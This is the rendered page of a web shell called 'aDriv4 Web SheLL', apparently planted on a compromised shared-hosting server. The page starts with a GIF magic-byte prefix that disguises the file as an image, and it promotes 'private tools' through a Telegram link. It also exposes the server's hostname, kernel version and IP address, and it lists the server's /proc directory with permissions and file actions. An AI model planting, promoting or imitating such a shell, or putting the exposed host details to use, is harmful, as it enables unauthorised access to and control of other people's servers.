GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium155.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
 LiteSpeed
 162.0.235.200
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2026-01-22 09:15:47
.. dir - root/root 0755 2025-08-05 08:42:14
2949581 dir - easyjnaq/easyjnaq 0555 2026-02-10 08:50:21
2949617 dir - easyjnaq/easyjnaq 0555 2026-02-10 08:50:21
2949778 dir - easyjnaq/easyjnaq 0555 2026-02-10 08:50:21
2970339 dir - easyjnaq/easyjnaq 0555 2026-02-10 08:50:05
2996845 dir - easyjnaq/easyjnaq 0555 2026-02-10 08:50:10
2996980 dir - easyjnaq/easyjnaq 0555 2026-02-10 08:50:12
acpi dir - root/root 0555 2026-01-22 09:15:53
bus dir - root/root 0555 2026-01-22 09:16:01
driver dir - root/root 0555 2026-02-10 08:50:46
fs dir - root/root 0555 2026-01-22 09:16:01
irq dir - root/root 0555 2026-01-22 09:16:01
lve dir - root/root 0555 2026-02-10 08:50:21
net link - easyjnaq/easyjnaq 0555 2026-02-10 08:50:46
scsi dir - root/root 0555 2026-01-22 09:16:01
self link - easyjnaq/easyjnaq 0555 2026-02-10 08:50:10
sys dir - root/root 0555 2026-01-22 09:15:50
sysvipc dir - root/root 0555 2026-02-10 08:50:46
thread-self link - easyjnaq/easyjnaq 0555 2026-02-10 08:50:23
tty dir - root/root 0555 2026-02-10 08:50:46
buddyinfo 0 B root/root 0444 2026-02-10 08:50:46
cgroups 0 B root/root 0444 2026-02-10 08:50:46
cmdline text/plain 0 B root/root 0444 2026-02-10 08:50:22
consoles 0 B root/root 0444 2026-02-10 08:50:46
cpuinfo text/plain 0 B root/root 0444 2026-02-10 08:50:31
crypto 0 B root/root 0444 2026-02-10 08:50:46
devices 0 B root/root 0444 2026-02-10 08:50:46
diskstats 0 B root/root 0444 2026-02-10 08:50:26
dma 0 B root/root 0444 2026-02-10 08:50:46
execdomains 0 B root/root 0444 2026-02-10 08:50:46
fb 0 B root/root 0444 2026-02-10 08:50:46
filesystems text/plain 0 B root/root 0444 2026-02-10 08:50:20
interrupts 0 B root/root 0444 2026-02-10 08:50:46
iomem 0 B root/root 0444 2026-02-10 08:50:46
ioports 0 B root/root 0444 2026-02-10 08:50:46
kallsyms 0 B root/root 0444 2026-01-22 09:16:01
kcore 128 TB root/root 0400 2026-01-22 09:15:53
key-users 0 B root/root 0444 2026-02-10 08:50:46
keys 0 B root/root 0444 2026-02-10 08:50:46
kmsg 0 B root/root 0400 2026-02-10 08:50:46
kpagecgroup 0 B root/root 0400 2026-02-10 08:50:46
kpagecount 0 B root/root 0400 2026-02-10 08:50:46
kpageflags 0 B root/root 0400 2026-02-10 08:50:46
loadavg text/plain 0 B root/root 0444 2026-02-10 08:50:27
locks 0 B root/root 0444 2026-02-10 08:50:46
mdstat 0 B root/root 0444 2026-02-10 08:50:46
meminfo text/plain 0 B root/root 0444 2026-02-10 08:50:27
misc 0 B root/root 0444 2026-02-10 08:50:46
modules 0 B root/root 0444 2026-02-10 08:50:46
mounts text/plain 0 B easyjnaq/easyjnaq 0444 2026-02-10 08:50:46
mtrr 0 B root/root 0644 2026-01-22 09:16:01
pagetypeinfo 0 B root/root 0400 2026-02-10 08:50:46
partitions 0 B root/root 0444 2026-02-10 08:50:46
sched_debug 0 B root/root 0444 2026-02-10 08:50:46
schedstat 0 B root/root 0444 2026-02-10 08:50:46
slabinfo 0 B root/root 0400 2026-02-10 08:50:46
softirqs 0 B root/root 0444 2026-02-10 08:50:46
stat text/plain 0 B root/root 0444 2026-02-10 08:50:20
swaps 0 B root/root 0444 2026-01-22 09:15:50
sysrq-trigger 0 B root/root 0200 2026-01-22 09:16:01
timer_list 0 B root/root 0400 2026-02-10 08:50:46
uptime text/plain 0 B root/root 0444 2026-02-10 08:50:28
version text/plain 0 B root/root 0444 2026-02-10 08:50:46
vmallocinfo 0 B root/root 0400 2026-02-10 08:50:46
vmstat 0 B root/root 0444 2026-02-10 08:50:27
zoneinfo 0 B root/root 0444 2026-02-10 08:50:46
© aDriv4